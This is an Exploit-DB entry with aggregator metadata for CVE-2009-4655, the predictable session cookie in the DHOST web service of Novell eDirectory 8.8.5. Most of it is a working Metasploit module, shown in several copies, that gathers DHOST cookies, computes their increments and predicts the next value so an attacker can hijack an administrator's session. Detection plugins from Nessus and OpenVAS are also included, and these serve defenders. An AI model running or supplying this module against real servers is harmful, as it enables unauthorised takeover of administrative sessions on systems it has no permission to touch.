source: http://www.securityfocus.com/bid/38782/info
Novell eDirectory is prone to a session-hijacking vulnerability.
An attacker can exploit this issue to gain access to the affected application.
Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected.
##
# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',
'Description' => %q{
This module is able to predict the next session cookie value issued
by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
this module, wait until the real administrator logs in, then specify the
predicted cookie value to hijack their session.
},
'References' =>
[
['OSVDB', '60035'],
],
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Version' => '$Revision: 7519 $'
))
register_options([
Opt::RPORT(8030),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def run
vals = []
name = ""
print_status("Making 5 requests to verify predictions...")
1.upto(6) do
connect
req = "GET /dhost/ HTTP/1.1\r\n"
req << "Host: #{rhost}:#{rport}\r\n"
req << "Connection: close\r\n\r\n"
sock.put(req)
res = sock.get_once(-1,5)
disconnect
cookie = nil
if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
cookie = $1
cookie,junk = cookie.split(';')
name,cookie = cookie.split('=')
cookie = cookie.to_i(16)
vals << cookie
end
end
deltas = []
prev_val = nil
vals.each_index do |i|
if(i > 0)
delta = vals[i] - prev_val
print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
deltas << delta
end
prev_val = vals[i]
end
deltas.uniq!
if(deltas.length < 4)
print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
else
print_status("The cookie value is less predictable, maybe this has been patched?")
print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
end
end
end
{"id": "EDB-ID:33767", "hash": "6612d1ec83f9abf9db71e90b52dcd5c0", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Novell eDirectory 8.8.5 DHost Weak Session Cookie Session Hijacking Vulnerability", "description": "Novell eDirectory 8.8.5 DHost Weak Session Cookie Session Hijacking Vulnerability. CVE-2009-4655. Remote exploit for novell platform", "published": "2010-03-14T00:00:00", "modified": "2010-03-14T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/33767/", "reporter": "metasploit", "references": [], "cvelist": ["CVE-2009-4655"], "lastseen": "2016-02-03T19:51:27", "history": [], "viewCount": 0, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2016-02-03T19:51:27"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2009-4655"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY/ADMIN/EDIRECTORY/EDIRECTORY_DHOST_COOKIE"]}, {"type": "nessus", "idList": ["EDIR_DHOST_PREDICTABLE_IDS.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310800731"]}], "modified": "2016-02-03T19:51:27"}, "vulnersScore": 6.8}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/33767/", "sourceData": "source: http://www.securityfocus.com/bid/38782/info\r\n\r\nNovell eDirectory is prone to a session-hijacking vulnerability.\r\n\r\nAn attacker can exploit this issue to gain access to the affected application.\r\n\r\nNovell eDirectory 8.8.5 is vulnerable; other versions may also be affected. \r\n\r\n##\r\n# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $\r\n##\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\n\r\nrequire 'msf/core'\r\n\r\n\r\nclass Metasploit3 < Msf::Auxiliary\r\n\r\n\tinclude Msf::Exploit::Remote::Tcp\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\tThis module is able to predict the next session cookie value issued\r\n\t\t\tby the DHOST web service of Novell eDirectory 8.8.5. An attacker can run\r\n\t\t\tthis module, wait until the real administrator logs in, then specify the\r\n\t\t\tpredicted cookie value to hijack their session.\r\n\t\t\t},\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t['OSVDB', '60035'],\r\n\t\t\t\t],\r\n\t\t\t'Author' => 'hdm',\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Version' => '$Revision: 7519 $'\r\n\t\t))\r\n\r\n\t\tregister_options([\r\n\t\t\tOpt::RPORT(8030),\r\n\t\t\tOptBool.new('SSL', [true, 'Use SSL', true])\r\n\t\t], self.class)\r\n\tend\r\n\r\n\tdef run\r\n\t\tvals = []\r\n\t\tname = \"\"\r\n\r\n\t\tprint_status(\"Making 5 requests to verify predictions...\")\r\n\t\t1.upto(6) do\r\n\r\n\t\t\tconnect\r\n\t\t\treq = \"GET /dhost/ HTTP/1.1\\r\\n\"\r\n\t\t\treq << \"Host: #{rhost}:#{rport}\\r\\n\"\r\n\t\t\treq << \"Connection: close\\r\\n\\r\\n\"\r\n\t\t\tsock.put(req)\r\n\t\t\tres = sock.get_once(-1,5)\r\n\t\t\tdisconnect\r\n\r\n\t\t\tcookie = nil\r\n\t\t\tif(res =~ /Cookie:\\s*([^\\s]+)\\s*/mi)\r\n\t\t\t\tcookie = $1\r\n\t\t\t\tcookie,junk = cookie.split(';')\r\n\t\t\t\tname,cookie = cookie.split('=')\r\n\t\t\t\tcookie = cookie.to_i(16)\r\n\t\t\t\tvals << cookie\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\tdeltas = []\r\n\t\tprev_val = nil\r\n\t\tvals.each_index do |i|\r\n\t\t\tif(i > 0)\r\n\t\t\t\tdelta = vals[i] - prev_val\r\n\t\t\t\tprint_status(\"Cookie: #{i} #{\"%.8x\" % vals[i]} DELTA #{\"%.8x\" % delta}\")\r\n\t\t\t\tdeltas << delta\r\n\t\t\tend\r\n\t\t\tprev_val = vals[i]\r\n\t\tend\r\n\r\n\t\tdeltas.uniq!\r\n\t\tif(deltas.length < 4)\r\n\t\t\tprint_status(\"The next cookie value will be: #{name}=#{\"%.8x\" % (prev_val + deltas[0])}\")\r\n\t\telse\r\n\t\t\tprint_status(\"The cookie value is less predictable, maybe this has been patched?\")\r\n\t\t\tprint_status(\"Deltas: #{deltas.map{|x| \"%.8x\" % x}.join(\", \")}\")\r\n\t\tend\r\n\tend\r\n\r\nend\r\n\r\n", "osvdbidlist": ["60035"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}
{"cve": [{"lastseen": "2019-05-29T18:10:01", "bulletinFamily": "NVD", "description": "The dhost web service in Novell eDirectory 8.8.5 uses a predictable session cookie, which makes it easier for remote attackers to hijack sessions via a modified cookie.", "modified": "2017-08-17T01:31:00", "id": "CVE-2009-4655", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4655", "published": "2010-02-26T18:30:00", "title": "CVE-2009-4655", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2019-11-01T02:26:12", "bulletinFamily": "scanner", "description": "The eDirectory DHost web server running on the remote host generates\npredictable session IDs.\n\nA remote attacker could exploit this by predicting the session ID of\na legitimately logged-in user, which could lead to the hijacking of\nadministrative sessions.", "modified": "2019-11-02T00:00:00", "id": "EDIR_DHOST_PREDICTABLE_IDS.NASL", "href": "https://www.tenable.com/plugins/nessus/45109", "published": "2010-03-19T00:00:00", "title": "Novell eDirectory DHost Predictable Session ID", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\n\nif (description)\n{\n script_id(45109);\n script_version(\"1.9\");\n script_cvs_date(\"Date: 2018/07/10 14:27:33\");\n\n script_cve_id(\"CVE-2009-4655\");\n script_bugtraq_id(38782);\n script_xref(name:\"Secunia\", value:\"38808\");\n\n script_name(english:\"Novell eDirectory DHost Predictable Session ID\");\n script_summary(english:\"Tries to determine if the session ID is predictable\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote web server generates predictable session IDs.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"The eDirectory DHost web server running on the remote host generates\npredictable session IDs.\n\nA remote attacker could exploit this by predicting the session ID of\na legitimately logged-in user, which could lead to the hijacking of\nadministrative sessions.\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"There is no known solution at this time.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:U/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\nscript_cwe_id(310);\n script_set_attribute(attribute:\"vuln_publication_date\",value:\"2009/11/13\");\n script_set_attribute(attribute:\"plugin_publication_date\",value:\"2010/03/19\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:novell:edirectory\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Web Servers\");\n\n script_copyright(english:\"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.\");\n\n script_require_ports(\"Services/www\", 80);\n script_dependencies(\"http_version.nasl\");\n\n exit(0);\n}\n\n\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"byte_func.inc\");\ninclude(\"http.inc\");\n\n\nport = get_http_port(default:8030, embedded:TRUE);\n\n# Make sure this server looks like dhost\nif (report_verbosity < 2)\n{\n banner = get_http_banner(port:port);\n\n if (isnull(banner))\n exit(1, 'Unable to get web server banner on port '+port+'.');\n if (!egrep(string:banner, pattern:'Server: DHost'))\n exit(0, 'The web server on port '+port+' does not appear to be DHost.');\n}\n\nnum_reqs = 5;\nurl = '/dhost';\nlast_id = NULL;\nids = make_list();\ndeltas = make_list();\nmin_delta = NULL;\n\n# Get a bunch of session IDs.\nfor (i = 0; i < num_reqs; i++)\n{\n clear_cookiejar();\n res = http_send_recv3(\n method:\"GET\",\n item:url,\n port:port,\n exit_on_fail:TRUE\n );\n str_id = get_any_http_cookie(name:'DHAC1');\n if (isnull(str_id)) exit(1, \"A session ID wasn't received on port \"+port+\".\");\n\n ids = make_list(ids, str_id);\n id = getdword(blob:hex2raw(s:str_id), pos:0);\n\n # only start calculating deltas after the 2nd response\n if (!isnull(last_id)) deltas = make_list(deltas, id - last_id);\n\n last_id = id;\n}\n\n# Determine if the deltas are predictable. We can account for gaps (i.e. other\n# people attempting to login during the scan) assuming we're able to get at\n# least two consecutive IDs.\nmin_delta = NULL;\n\nforeach delta (deltas)\n{\n if (isnull(min_delta) || delta < min_delta)\n min_delta = delta;\n}\n\nforeach delta (deltas)\n{\n if (delta % min_delta != 0)\n exit(0, 'The web server on port '+port+' is not affected.');\n}\n\n# If we made it this far without bailing out, the system is vulnerable.\nif (report_verbosity > 0)\n{\n report =\n '\\nNessus made '+num_reqs+' requests for the following URL :\\n\\n'+\n ' '+build_url(qs:url, port:port)+'\\n\\n'+\n 'and received the following session IDs :\\n\\n';\n\n foreach id (ids) report += ' '+id+'\\n';\n\n hex_delta = '0x'+hexstr(dec2hex(num:min_delta));\n report += '\\nDelta : '+hex_delta+'\\n';\n security_hole(port:port, extra:report);\n}\nelse security_hole(port);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2019-11-06T06:11:28", "bulletinFamily": "exploit", "description": "This module is able to predict the next session cookie value issued by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run this module, wait until the real administrator logs in, then specify the predicted cookie value to hijack their session.\n", "modified": "2018-07-09T00:00:11", "published": "2009-11-13T21:31:39", "id": "MSF:AUXILIARY/ADMIN/EDIRECTORY/EDIRECTORY_DHOST_COOKIE", "href": "", "type": "metasploit", "title": "Novell eDirectory DHOST Predictable Session Cookie", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::Tcp\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',\n 'Description' => %q{\n This module is able to predict the next session cookie value issued\n by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run\n this module, wait until the real administrator logs in, then specify the\n predicted cookie value to hijack their session.\n },\n 'References' =>\n [\n ['CVE', '2009-4655'],\n ['OSVDB', '60035']\n ],\n 'Author' => 'hdm',\n 'License' => MSF_LICENSE\n ))\n\n register_options([\n Opt::RPORT(8030),\n OptBool.new('SSL', [true, 'Use SSL', true])\n ])\n end\n\n def run\n vals = []\n name = \"\"\n\n print_status(\"Making 5 requests to verify predictions...\")\n 1.upto(6) do\n\n connect\n req = \"GET /dhost/ HTTP/1.1\\r\\n\"\n req << \"Host: #{rhost}:#{rport}\\r\\n\"\n req << \"Connection: close\\r\\n\\r\\n\"\n sock.put(req)\n res = sock.get_once(-1,5)\n disconnect\n\n cookie = nil\n if(res and res =~ /Cookie:\\s*([^\\s]+)\\s*/mi)\n cookie = $1\n cookie,junk = cookie.split(';')\n name,cookie = cookie.split('=')\n cookie = cookie.to_i(16)\n vals << cookie\n end\n end\n\n deltas = []\n prev_val = nil\n vals.each_index do |i|\n if(i > 0)\n delta = vals[i] - prev_val\n print_status(\"Cookie: #{i} #{\"%.8x\" % vals[i]} DELTA #{\"%.8x\" % delta}\")\n deltas << delta\n end\n prev_val = vals[i]\n end\n\n deltas.uniq!\n if(deltas.length < 4)\n print_status(\"The next cookie value will be: #{name}=#{\"%.8x\" % (prev_val + deltas[0])}\")\n else\n print_status(\"The cookie value is less predictable, maybe this has been patched?\")\n print_status(\"Deltas: #{deltas.map{|x| \"%.8x\" % x}.join(\", \")}\")\n end\n end\nend\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/admin/edirectory/edirectory_dhost_cookie.rb"}], "openvas": [{"lastseen": "2019-05-29T18:40:05", "bulletinFamily": "scanner", "description": "This host is running Novell eDirectory is prone to Session Cookie\n hijack vulnerability.", "modified": "2019-03-01T00:00:00", "published": "2010-03-10T00:00:00", "id": "OPENVAS:1361412562310800731", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310800731", "title": "Novell eDirectory 'DHOST' Cookie Hijack Vulnerability", "type": "openvas", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_novell_edirectory_session_hijack_vuln.nasl 13960 2019-03-01 13:18:27Z cfischer $\n#\n# Novell eDirectory 'DHOST' Cookie Hijack Vulnerability\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2010 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.800731\");\n script_version(\"$Revision: 13960 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-01 14:18:27 +0100 (Fri, 01 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2010-03-10 15:48:25 +0100 (Wed, 10 Mar 2010)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-4655\");\n script_name(\"Novell eDirectory 'DHOST' Cookie Hijack Vulnerability\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2010 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"novell_edirectory_detect.nasl\");\n script_require_ports(\"Services/ldap\", 389, 636);\n script_mandatory_keys(\"eDirectory/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.metasploit.com/modules/auxiliary/admin/edirectory/edirectory_dhost_cookie\");\n\n script_tag(name:\"insight\", value:\"The flaw is due to error in an 'DHOST' module when handling DHOST web\n services. An attacker would wait until the real administrator logs in, then\n specify the predicted cookie value to hijack their session.\");\n script_tag(name:\"solution\", value:\"Apply the vendor provided patch.\");\n script_tag(name:\"summary\", value:\"This host is running Novell eDirectory is prone to Session Cookie\n hijack vulnerability.\");\n script_tag(name:\"impact\", value:\"Successful exploitation will allow remote attackers to hijack arbitrary\n sessions.\");\n script_tag(name:\"affected\", value:\"Novell eDirectory version 8.8.5 and prior.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n\n script_xref(name:\"URL\", value:\"http://www.novell.com/support/kb/doc.php?id=3426981\");\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\n\nCPE = make_list( \"cpe:/a:novell:edirectory\",\"cpe:/a:netiq:edirectory\" );\n\nif( ! port = get_app_port( cpe:CPE ) ) exit( 0 );\nif( ! major = get_app_version( cpe:CPE, port:port ) ) exit( 0 );\n\nif( ! sp = get_kb_item( \"ldap/eDirectory/\" + port + \"/sp\" ) )\n sp = \"0\";\n\nreportver = major;\n\nif( sp > 0 )\n reportver += ' SP' + sp;\n\nedirVer = major + '.' + sp;\n\nif(version_in_range(version:edirVer, test_version:\"8.8\", test_version2:\"8.8.5\")){\n report = report_fixed_ver( installed_version:reportver, fixed_version:\"See advisory\" );\n security_message( port:port, data:report );\n exit( 0 );\n}\n\nexit( 99 );", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}